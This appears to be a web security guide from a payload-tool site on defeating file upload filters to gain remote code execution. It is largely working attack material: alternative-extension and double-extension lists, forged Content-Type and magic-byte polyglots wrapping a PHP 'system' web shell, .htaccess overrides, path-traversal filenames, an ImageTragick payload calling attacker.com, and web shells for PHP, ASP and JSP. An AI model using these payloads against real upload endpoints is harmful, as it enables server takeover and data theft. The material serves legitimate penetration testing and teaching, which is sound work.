File Upload Vulnerability Testing: Bypassing Filters and Getting RCE (2025)
Unrestricted file upload vulnerabilities are a pentester's dream — they can lead directly to Remote Code Execution (RCE). Despite being well-documented, file upload flaws remain surprisingly common because developers often rely on client-side validation or incomplete server-side checks. This guide covers every technique for bypassing file upload filters in 2025.
Why File Upload Bugs Are Critical
File Upload Exploitation Timeline
.php5, .phtml, .phar, .php.jpg, null byte injection (file.php%00.jpg)image/jpeg while keeping .php contentGIF89a) before PHP codeA successful file upload exploit can give you:
- Remote Code Execution — upload a web shell and execute arbitrary commands
- Stored XSS — upload an HTML/SVG file with JavaScript
- Path Traversal — overwrite critical files via filename manipulation
- Denial of Service — upload extremely large files or zip bombs
- SSRF — upload files that trigger server-side URL fetching (e.g., SVG with external references)
Extension Filter Bypasses
Blacklist Bypasses
If the application blocks .php, try alternative extensions that the web server still executes:
# PHP alternatives
.php3, .php4, .php5, .php7, .pht, .phtml, .phar, .phps, .pgif
.PHP (case variation on Windows/IIS)
# ASP alternatives
.asp, .aspx, .ashx, .asmx, .ascx, .cer
# JSP alternatives
.jsp, .jspx, .jsw, .jsv, .jspf
# Other executable extensions
.cgi, .pl, .py, .rb, .sh, .bat, .cmd
Double Extensions
# Apache may execute based on the last recognized extension
shell.php.jpg (if .jpg is not recognized, falls back to .php)
shell.php.blah (arbitrary extension after .php)
shell.php%00.jpg (null byte — legacy bypass, works on older systems)
shell.php;.jpg (semicolon truncation on IIS)
Extension with Special Characters
# Trailing characters
shell.php.
shell.php%20
shell.php%0a
shell.php%0d%0a
# NTFS Alternate Data Streams (Windows)
shell.php::$DATA
shell.php:Zone.Identifier
Content-Type Bypass
Applications often check the Content-Type header — but this is entirely client-controlled:
# Change Content-Type to allowed value while uploading PHP
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
Common allowed Content-Types to try: image/jpeg, image/png, image/gif, application/pdf, text/plain
Magic Byte / File Signature Bypass
Advanced filters check the file's magic bytes (first few bytes). Prepend valid file signatures to your payload:
# GIF header + PHP
GIF89a
<?php system($_GET['cmd']); ?>
# PNG header (hex) + PHP
\x89PNG\r\n\x1a\n
<?php system($_GET['cmd']); ?>
# JPEG header + PHP
\xFF\xD8\xFF\xE0
<?php system($_GET['cmd']); ?>
Save these polyglot files with a .php extension (or a bypassed extension) — the server sees valid image headers but executes the PHP code.
Filename Manipulation
Path Traversal in Filenames
# Upload to a different directory
../../../var/www/html/shell.php
..%2F..%2F..%2Fvar%2Fwww%2Fhtml%2Fshell.php
# Overwrite configuration files
.htaccess (Apache — enable PHP execution in upload dir)
web.config (IIS — modify handler mappings)
.htaccess Upload
If you can upload a .htaccess file, you can make the server execute any extension as PHP:
# .htaccess content
AddType application/x-httpd-php .jpg
AddHandler php-script .txt
Then upload your web shell with a .jpg or .txt extension — Apache will execute it as PHP.
Image Processing Exploits
If the server processes uploaded images (resizing, thumbnailing), you can exploit image parsing libraries:
- ImageMagick — CVE-2016-3714 (ImageTragick):
push graphic-context; viewbox 0 0 640 480; image over 0,0 0,0 'https://attacker.com/x.php' - EXIF metadata injection — embed PHP code in EXIF fields that survive image reprocessing
- SVG with embedded scripts —
<svg onload="alert(1)">for stored XSS - Polyglot images — valid images that are also valid PHP/HTML
Web Shell Payloads
Once you bypass the filter, use a minimal web shell:
# PHP one-liner
<?php system($_GET['cmd']); ?>
# PHP with upload capability
<?php if(isset($_FILES['f'])){move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);} ?>
# ASP
<% eval request("cmd") %>
# JSP
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
Use our File Upload Payload Generator to create web shells, polyglot files, and extension bypass payloads automatically. For post-exploitation, generate a reverse shell with our Reverse Shell Generator to upgrade from web shell to interactive shell.
Chaining File Upload with Other Vulnerabilities
- File upload + LFI: Upload a PHP file anywhere, then use Local File Inclusion to execute it via
include() - File upload + SSRF: Upload an SVG referencing internal URLs — see our SSRF Generator for payloads
- File upload + XSS: Upload HTML/SVG files served from the same origin for stored XSS
- File upload + XXE: Upload XML-based files (DOCX, SVG, XLSX) with XXE payloads from our XXE Generator
Testing Checklist
- Test with a legitimate file to understand the upload flow
- Try changing only the extension (keep valid file content)
- Try changing only the Content-Type (keep malicious content)
- Try adding magic bytes to your payload
- Test double extensions, null bytes, and special characters
- Attempt .htaccess / web.config upload
- Check if uploaded files are accessible and where they're stored
- Verify if the server executes uploaded files or serves them statically
For a complete reference, check the File Upload Cheat Sheet with all bypass payloads organized by filter type.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides